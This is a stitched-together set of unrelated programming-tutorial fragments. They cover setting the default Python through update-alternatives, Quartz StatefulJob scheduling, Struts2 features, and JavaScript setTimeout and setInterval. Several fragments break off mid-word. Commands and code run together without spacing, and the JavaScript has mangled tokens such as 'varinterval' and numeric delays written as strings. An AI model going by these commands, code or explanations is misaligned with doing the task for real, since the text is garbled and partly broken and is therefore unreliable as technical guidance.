Using the alternate mechanism, you can freely switch to the Python default version by simply entering a few simple instructions at the terminal:sudo update-alternatives --install /usr/bin/python python /usr/bin/python2 100sudo update-alternatives --install /usr/bin/python python /usr/bin/python3 150These two instructions add 2 alternate entries--install followed by the Python installation pathThe last 100 and 150 parameters represent a non-specified run version priorityThat is, after entering th

Workaround: The use of statefuljob, so that the jobdetails sequence execution, only the previous job run completed, will run this job; Multiple jobdetails can be parallel, independent of each other, because they are run by multiple threads; Disadvantages: Trigger there is a blocking situation, the workaround: 1. The single trigger time of trigger is adjusted reasonably; 2. Optimize the job execution c

. Struts2's goal is simple-making web development easier. To achieve this goal, struts2 provides many new features, such as smart default settings, annotation usage, and application of the "Convention over configuration" principle, all of this greatly reduces the xml configuration. Actions in struts2 are all pojo, which enhances the testability of actions and reduces the coupling degree within the framework, the input items in the HTML form are converted into appropriate types for action.

In JS, there are two types of delayed execution functions: setTimeout and setinterval. The usage is as follows: setTimeout("testFunction()","6000");// Executed in 6000 millisecondstestFunction() Function, which is executed only once.setInterval("testFunction()","6000");// Execute every 6000 millisecondstestFunction() Function, which is executed countless times. varinterval = window.setInterval("testFunction()","6000"); window.clearInterval(interval);/
